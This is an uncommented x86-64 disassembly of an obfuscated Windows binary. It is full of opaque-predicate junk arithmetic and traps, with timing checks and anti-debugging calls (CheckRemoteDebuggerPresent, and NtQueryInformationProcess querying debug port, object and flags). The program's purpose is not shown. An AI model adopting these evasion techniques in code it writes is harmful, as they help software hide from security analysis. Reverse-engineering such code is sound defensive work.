mov rcx, qword [rbp + 0xd0]
mov qword [rcx], 0
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
add rsp, 0x20
cmp r12d, 0x8a369a9
jae 0x140027c7a
mov r12d, dword [0x141dc6718]
mov rax, rdi
or rax, r15
and r12d, dword [0x141dc671c]
shr rax, 0x20
je 0x140027c50
mov rax, rdi
xor edx, edx
div r15
mov rcx, rax
jmp 0x140027c59
mov eax, edi
xor edx, edx
div r15d
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, r15
shr rdx, 0x20
jne 0x140027bb0
xor edx, edx
div r15d
jmp 0x140027bb5
test eax, eax
je 0x140027d59
shr rsi, 0xb
imul eax, esi, 0x3b9aca00
sub r14d, eax
mov rax, qword [rbp + 0xd0]
mov rdi, qword [rax]
mov r12, qword [rbp - 0x70]
mov r15, qword [rbp + 0x20]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6728]
and eax, dword [0x141dc672c]
add eax, 0x80f0fecf
or eax, 0x8e5220c4
cmp eax, 0x73bd4279
jb 0x140027cb0
mov eax, dword [0x141dc6730]
or eax, dword [0x141dc6734]
add eax, 0xbfdfe9d5
or eax, 0x90be5a0a
cmp eax, 0x2d2c2e3e
jne 0x140027d9d
jmp 0x140027dcf
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
ud2
ud2
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
xor eax, eax
test al, al
jne 0x140027d99
mov eax, dword [0x141dc6720]
xor edx, edx
div dword [0x141dc6724]
imul eax, eax, 0xcbef344d
and eax, 0xe387533d
imul eax, eax, 0xe5cb5b0a
ud2
ud2
mov eax, dword [0x141dc6738]
xor eax, dword [0x141dc673c]
and eax, 0x2b3fcfd3
add eax, 0xc7d84ef2
mov edx, 0xab2a4773
imul rdx, rax
shr rdx, 0x3c
mov rcx, qword [0x141dde6d8]
cmp edx, 0x1aa6868a
jbe 0x140027dd8
mov rax, qword [0x141dde6d8]
jmp 0x140027d9d
test rcx, rcx
jne 0x140028024
mov eax, dword [0x141dc6740]
xor eax, dword [0x141dc6744]
imul eax, eax, 0x41b6c465
or eax, 0x5053580
and eax, 0x958f7fdc
cmp eax, 0xc6535587
jbe 0x140027e12
mov rax, qword [rbp + 0x98]
mov qword [rax], 0
mov eax, 0xcf6cdecf
mov rcx, qword [rbp + 0x98]
nop
mov r8d, dword [0x141dc6748]
sub r8d, dword [0x141dc674c]
imul rdx, r8, 0x1870e461
shr rdx, 0x20
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 0x1d
imul edx, r8d, 0x5bd22f95
imul rdx, rax
shr rdx, 0x3e
mov qword [rcx], 0
cmp edx, 0x867488f5
je 0x140027e20
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
add rsp, 0x20
test eax, eax
je 0x140027eab
mov eax, dword [0x141dc6770]
xor edx, edx
div dword [0x141dc6774]
imul eax, eax, 0xc7849180
add eax, 0xf18b1380
xor eax, 0x54835149
cmp eax, 0x295606e7
mov rdx, qword [rbp + 0x98]
jae 0x140027f6d
jmp 0x140027f99
mov eax, dword [0x141dc6750]
xor eax, dword [str.ZkZ]
or eax, 0x4d720383
imul eax, eax, 0xc1fd0ad3
or eax, 0x30359556
cmp eax, 0xc226dba4
ja 0x140027f05
mov eax, dword [0x141dc6758]
and eax, dword [0x141dc675c]
add eax, 0x86db739e
xor eax, 0x4f6086b0
imul rsi, rax, 0x1312100d
shr rsi, 0x3c
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp esi, 0x4fee4a41
jbe 0x140027f15
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
jmp 0x140027ece
mov eax, dword [0x141dc6760]
sub eax, dword [0x141dc6764]
add eax, 0x7f9e3383
and eax, 0x8f30c79
xor eax, 0x5a7e1161
cmp eax, 0x14584ac3
jb 0x140027f69
mov eax, dword [0x141dc6768]
imul eax, dword [str.G_tM_]
add eax, 0x74bf81e3
or eax, 0x819a591a
mov ecx, 0xb5de5903
imul rcx, rax
shr rcx, 0x3e
ud2
ud2
mov eax, dword [0x141dc6778]
xor eax, dword [0x141dc677c]
and eax, 0x809c8a5a
add eax, 0x41d37ae5
and eax, 0xc0d7ec79
mov rcx, qword [rdx]
mov qword [0x141dde6d8], rcx
cmp eax, 0x43242ddf
jae 0x140027fb0
mov rax, qword [rdx]
mov qword [0x141dde6d8], rax
jmp 0x140027f6d
mov eax, dword [0x141dc6780]
and eax, dword [0x141dc6784]
add eax, 0xf652ca61
and eax, 0xf1b5dfa
imul eax, eax, 0x422f17f3
cmp eax, 0xe9784991
je 0x140027fb0
mov eax, dword [0x141dc6788]
xor edx, edx
div dword [0x141dc678c]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6790]
xor edx, edx
div dword [0x141dc6794]
xor eax, 0xc9714710
imul eax, eax, 0x456aeb1d
imul rax, rax, 0x7b5bf7d7
shr rax, 0x3e
cmp eax, 0x99e78a6c
ja 0x140027ff0
test rcx, rcx
je 0x1400280ee
mov rax, rdi
or rax, rcx
shr rax, 0x20
je 0x14002803a
mov rax, rdi
xor edx, edx
div rcx
jmp 0x140028040
mov eax, edi
xor edx, edx
div ecx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x140028064
xor edx, edx
div rcx
mov rdi, rax
jmp 0x14002806a
xor edx, edx
div ecx
mov edi, eax
add rdi, r8
mov rax, rdi
shr rax, 9
mul rbx
mov rbx, rdx
mov r9, qword [0x141dde6d8]
test r9, r9
jne 0x140028289
mov eax, 0x9b0e7d7b
nop
mov ecx, dword [0x141dc67a8]
add ecx, dword [0x141dc67ac]
imul rcx, rax
shr rcx, 0x3d
imul ecx, ecx, 0x9f9e8608
add ecx, 0xf4afc326
cmp ecx, 0x75451909
ja 0x140028090
mov r13, qword [rbp + 0x30]
mov qword [r13], 0
mov eax, dword [0x141dc67b0]
or eax, dword [0x141dc67b4]
and eax, 0x312f6e42
add eax, 0xeb0dfd7e
imul rax, rax, 0x53c97e13
shr rax, 0x3d
cmp eax, 0xda058b5a
jbe 0x14002812e
jmp 0x14002816b
mov eax, dword [0x141dc6798]
and eax, dword [0x141dc679c]
imul eax, eax, 0x278ce2a0
cmp eax, 0x1b875f7d
jne 0x140028109
ud2
mov eax, dword [0x141dc67a0]
add eax, dword [0x141dc67a4]
imul eax, eax, 0x2dadb7e
add eax, 0x28e32c95
ud2
mov r15d, dword [0x141dc67b8]
add r15d, dword [str.Xs5O]
or r15d, 0x739226f
add r15d, 0x248bd138
or r15d, 0x5e7298e2
sub rsp, 0x20
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
add rsp, 0x20
cmp r15d, 0xb7346c0c
jbe 0x14002817e
sub rsp, 0x20
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
add rsp, 0x20
jmp 0x14002812e
test eax, eax
je 0x1400281b1
mov eax, dword [0x141dc67d8]
or eax, dword [0x141dc67dc]
xor eax, 0xab1a8ffa
add eax, 0x684681bc
or eax, 0x53b47eb9
cmp eax, 0xe4f51a52
mov rcx, qword [rbp + 0x30]
jbe 0x140028242
jmp 0x140028270
mov eax, dword [0x141dc67c0]
xor eax, dword [0x141dc67c4]
and eax, 0x1a889028
imul rcx, rax, 0x21a6b81
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
cmp eax, 0x67f29d50
je 0x140028200
mov esi, dword [0x141dc67c8]
imul esi, dword [0x141dc67cc]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp esi, 0x1e277e2f
jne 0x140028210
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
jmp 0x1400281dd
ud2
mov eax, dword [0x141dc67e0]
imul eax, dword [0x141dc67e4]
xor eax, 0x4810800
or eax, 0xe97e90ee
imul eax, eax, 0xf2dfe353
mov r9, qword [rcx]
mov qword [0x141dde6d8], r9
cmp eax, 0x541e8fd3
jne 0x14002827c
mov rax, qword [rcx]
mov qword [0x141dde6d8], rax
jmp 0x140028242
test r9, r9
mov r15, qword [rbp + 0x20]
je 0x14002882b
shr rbx, 0xb
imul ecx, ebx, 0x3b9aca00
cmp r9, 0x3b9aca00
ja 0x1400282a8
mov eax, 0x3b9aca00
xor edx, edx
div r9d
jmp 0x1400282aa
xor eax, eax
sub edi, ecx
lea ecx, [rax - 0x3b9aca00]
xor r8d, r8d
cmp r9, 2
cmovae ecx, eax
setb al
xor r9d, r9d
cmp rsi, rbx
setne r9b
mov edx, 0xff
cmovae edx, r9d
test dl, dl
jne 0x140028315
cmp edi, r14d
setne dl
nop dword [rax]
mov r9d, dword [0x141dc67f8]
add r9d, dword [0x141dc67fc]
and r9d, 0x80809c02
or r9d, 0x2b2d41ed
xor r9d, 0x5d907335
cmp r9d, 0x66c2d8a1
jb 0x1400282e0
cmp edi, r14d
ja 0x140028420
cmp dl, 1
jne 0x140028420
mov r9, rsi
sub r9, rbx
jb 0x140028736
mov r8b, al
nop dword [rax]
mov eax, dword [0x141dc6840]
xor eax, dword [0x141dc6844]
imul eax, eax, 0x957f342
add eax, 0xc8f31208
or eax, 0xb6dd204e
cmp eax, 0xa9b59c21
je 0x140028330
cmp edi, r14d
jbe 0x140028449
nop dword [rax]
mov eax, dword [0x141dc6848]
imul eax, dword [0x141dc684c]
or eax, 0x5ca879f6
xor eax, 0x677e5316
cmp eax, 0x5b4d282a
ja 0x140028360
test r9, r9
je 0x140028736
dec r9
nop word [rax + rax]
mov eax, dword [0x141dc6850]
and eax, dword [0x141dc6854]
or eax, 0x1f004274
and eax, 0x1fa2767c
imul eax, eax, 0x4b41f466
cmp eax, 0x8313d7c4
ja 0x140028390
lea r10d, [r14 + 0x3b9aca00]
nop word [rax + rax]
mov eax, dword [0x141dc6858]
xor eax, dword [0x141dc685c]
xor eax, 0x8938c81f
add eax, 0x6f43ebc2
xor eax, 0xe9d2d564
cmp eax, 0xca20abcf
ja 0x1400283c0
nop word cs:[rax + rax]
mov eax, dword [0x141dc6860]
xor edx, edx
div dword [0x141dc6864]
and eax, 0x70ac3a32
add eax, 0x208fc0
cmp eax, 0x18d684a7
ja 0x1400283f0
jmp 0x14002844c
mov eax, dword [0x141dc6800]
or eax, dword [0x141dc6804]
add eax, 0x30decd9a
or eax, 0x7a9feffb
cmp eax, 0xa906696
jb 0x140028420
xor eax, eax
nop
test al, al
jne 0x140028440
jmp 0x140028557
mov r10d, r14d
sub r10d, edi
nop
mov eax, dword [0x141dc6868]
or eax, dword [0x141dc686c]
and eax, 0x9aa04668
xor eax, 0x82292021
or eax, 0x65469992
cmp eax, 0x70c6bcc6
je 0x140028450
cmp r10d, 0x3b9aca00
jb 0x140028529
mov eax, r10d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
mov edx, dword [0x141dc6870]
imul edx, dword [0x141dc6874]
add edx, 0x865a258d
imul r11, rdx, 0x4cdbc3b
shr r11, 0x20
sub edx, r11d
shr edx, 1
add edx, r11d
shr edx, 0x1f
cmp edx, 0x1d1e5c47
je 0x140028490
imul edx, eax, 0x3b9aca00
sub r10d, edx
add r9, rax
setb al
xor edx, edx
nop word cs:[rax + rax]
test dl, dl
jne 0x1400284e0
test al, al
jne 0x140028777
mov eax, dword [0x141dc6878]
xor edx, edx
div dword [0x141dc687c]
nop word [rax + rax]
mov eax, dword [0x141dc6880]
xor eax, dword [0x141dc6884]
imul rax, rax, 0x48ed141f
shr rax, 0x3c
or eax, 0xfc07d801
imul eax, eax, 0x9301d49f
cmp eax, 0x242ce6f4
jbe 0x140028500
xor eax, eax
cmp r9, r8
setne al
mov edx, 0xff
cmovb eax, edx
xor r8d, r8d
cmp r10d, ecx
setne r8b
cmovb r8d, edx
test al, al
cmovne r8d, eax
cmp r8b, 1
jne 0x1400287a7
cmp rsi, rbx
ja 0x1400287a7
sub rbx, rsi
nop word cs:[rax + rax]
mov eax, dword [str._bn_r]
and eax, dword [0x141dc680c]
add eax, 0xe0d6f3d3
xor eax, 0x80201
and eax, 0xd9d892a1
cmp eax, 0x8173f601
jb 0x140028570
cmp edi, r14d
jae 0x14002861f
nop dword [rax + rax]
mov eax, dword [0x141dc6810]
xor eax, dword [0x141dc6814]
or eax, 0x7910619e
add eax, 0x9ffef9a8
and eax, 0x89d83605
cmp eax, 0x81a2708
jb 0x1400285a0
nop word cs:[rax + rax]
mov eax, dword [0x141dc6818]
or eax, dword [0x141dc681c]
imul eax, eax, 0x3caf6588
add eax, 0xb4fe0f49
cmp eax, 0xa559cca8
ja 0x1400285d0
test rbx, rbx
je 0x1400287a7
dec rbx
add edi, 0x3b9aca00
mov eax, dword [0x141dc6820]
xor edx, edx
div dword [0x141dc6824]
xor eax, 0x2617e561
add eax, 0x9b1cd0cf
cmp eax, 0xae5339a1
jb 0x140028600
sub edi, r14d
cmp edi, 0x3b9aca00
jb 0x1400286d0
mov r8d, edi
shr r8d, 9
imul rcx, r8, 0x44b83
shr rcx, 0x27
mov eax, dword [0x141dc6828]
xor edx, edx
div dword [0x141dc682c]
imul eax, eax, 0xa0cd8c76
add eax, 0x712d05c0
cmp eax, 0x71deb6de
ja 0x140028640
imul rax, r8, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub edi, eax
mov ecx, ecx
nop word cs:[rax + rax]
mov eax, dword [0x141dc6830]
xor edx, edx
div dword [0x141dc6834]
or eax, 0xf1efbf77
and eax, 0xf9efbf77
mov rdx, rbx
add rdx, rcx
setb r8b
cmp eax, 0x33a75c3d
jb 0x140028680
test r8b, r8b
jne 0x140028749
mov al, 1
nop word cs:[rax + rax]
test al, al
je 0x1400286c0
mov rbx, rdx
nop word [rax + rax]
mov edx, dword [0x141dc6890]
imul edx, dword [0x141dc6894]
add edx, 0xc953cbb
cmp edi, 0x3b9aca00
sete al
cmp rbx, 0x19
setb cl
cmp edx, 0x85310e15
ja 0x1400286d0
or al, cl
jne 0x1400287a7
mov eax, dword [0x141dc6898]
xor eax, dword [0x141dc689c]
imul eax, eax, 0x5267e773
add eax, 0x648685e1
xor eax, 0x8e0dc50b
cmp eax, 0x8c3c5489
mov rdi, qword [rbp + 0x88]
jae 0x14002887c
jmp 0x1400288b0
ud2
ud2
ud2
mov eax, dword [0x141dc68a8]
add eax, dword [0x141dc68ac]
imul rax, rax, 0x2745df83
shr rax, 0x3d
add eax, 0x3fa4f379
and eax, 0x1ba0b202
cmp eax, 0xeebc41ac
jne 0x1400287dc
sub rsp, 0x20
call fcn.1400c2810
add rsp, 0x20
mov esi, 0x83ade117
nop word cs:[rax + rax]
mov eax, dword [0x141dc68b0]
imul eax, dword [0x141dc68b4]
imul edi, eax, 0xaf84e02
add edi, 0xdb8b7e77
imul rdi, rsi
shr rdi, 0x3e
sub rsp, 0x20
call fcn.1400c2810
add rsp, 0x20
cmp edi, 0x2bf4c291
ja 0x1400287f0
jmp 0x140027173
mov eax, dword [0x141dc67e8]
xor eax, dword [0x141dc67ec]
xor eax, 0x75d3983b
imul eax, eax, 0x45a905f4
add eax, 0xe55a9d60
cmp eax, 0x3d21203e
jae 0x140028850
ud2
mov eax, dword [0x141dc67f0]
imul eax, dword [str.XJ_M]
imul rax, rax, 0x3f44d117
shr rax, 0x3c
imul eax, eax, 0x7706649
ud2
mov eax, dword [0x141dc68a0]
xor edx, edx
div dword [0x141dc68a4]
mov esi, eax
xor esi, 0x10020280
or esi, 0xebe4f91d
sub rsp, 0x20
mov rcx, rdi
call fcn.1400e08f0
add rsp, 0x20
cmp esi, 0x3d6714d8
jne 0x1400288c2
sub rsp, 0x20
mov rcx, rdi
call fcn.1400e08f0
add rsp, 0x20
jmp 0x14002887c
cmp byte [rdi], 0x12
mov rdi, qword [rbp - 0x68]
mov rbx, qword [rbp - 0x60]
jne 0x140027173
mov eax, dword [0x141dc68b8]
or eax, dword [0x141dc68bc]
imul eax, eax, 0xa2c8a493
add eax, 0xe0ad384e
cmp eax, 0xcac4c582
ja 0x14002893e
mov eax, dword [0x141dc68c0]
imul eax, dword [0x141dc68c4]
add eax, 0xc59a1423
imul rsi, rax, 0x6a4616c9
shr rsi, 0x3e
or esi, 0xde657e06
sub rsp, 0x20
call fcn.14001dac0
add rsp, 0x20
mov qword [rbx], 0
mov dword [rdi], 0
mov qword [r12], 0
cmp esi, 0x82336a8c
jae 0x140028962
sub rsp, 0x20
call fcn.14001dac0
add rsp, 0x20
mov qword [rbx], 0
mov dword [rdi], 0
mov qword [r12], 0
jmp 0x1400288f1
mov eax, dword [0x141dc68c8]
imul eax, dword [0x141dc68cc]
imul eax, eax, 0x38faec93
shr eax, 3
imul rax, rax, 0x92cd351
shr rax, 0x37
cmp eax, 0x6c50ffbb
je 0x1400289fb
mov eax, dword [0x141dc68d0]
sub eax, dword [0x141dc68d4]
add eax, 0x8bb8b614
imul rsi, rax, 0x2c586fb7
shr rsi, 0x3c
xor esi, 0xffa4d2a6
mov dword [r15], 0
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, r15
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x10
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 7
mov r8, rbx
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
add rsp, 0x30
cmp esi, 0xfa522b3b
jae 0x140028a47
mov dword [r15], 0
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, r15
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x10
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 7
mov r8, rbx
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
add rsp, 0x30
jmp 0x14002898a
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x10
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 0x1f
mov r8, rdi
mov r9d, 4
call sub.ntdll.dll_NtQueryInformationProcess
add rsp, 0x10
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x10
mov qword [rsp + 0x20], 0
mov rcx, rax
mov edx, 0x1e
mov r8, r12
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
add rsp, 0x30
cmp dword [r15], 0
jne 0x140028b5d
cmp qword [rbx], 0
jne 0x140028b5d
cmp dword [rdi], 0
je 0x140028b5d
cmp qword [r12], 0
jne 0x140028b5d
nop dword [rax + rax]
mov eax, dword [0x141dc68d8]
imul eax, dword [0x141dc68dc]
add eax, 0x4e34204
or eax, 0x50d9a9a2
cmp eax, 0x26715238
je 0x140028ad0
mov eax, dword [0x141dc68e0]
or eax, dword [0x141dc68e4]
imul eax, eax, 0x6075cc5b
add eax, 0x83ae39e1
imul rax, rax, 0x2baf99f3
shr rax, 0x3c
cmp eax, 0x36320516
jbe 0x140028b2f
sub rsp, 0x20
mov ecx, 0x80000001
call qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call fcn.140028b70
add rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov bl, 1
nop dword [rax + rax]
sub rsp, 0x20
mov ecx, 0x80000001
call rsi
call fcn.140028b70
add rsp, 0x20
test bl, bl
je 0x140028b40
jmp 0x1400274ec
sub rsp, 0x20
call fcn.1400c2810
int3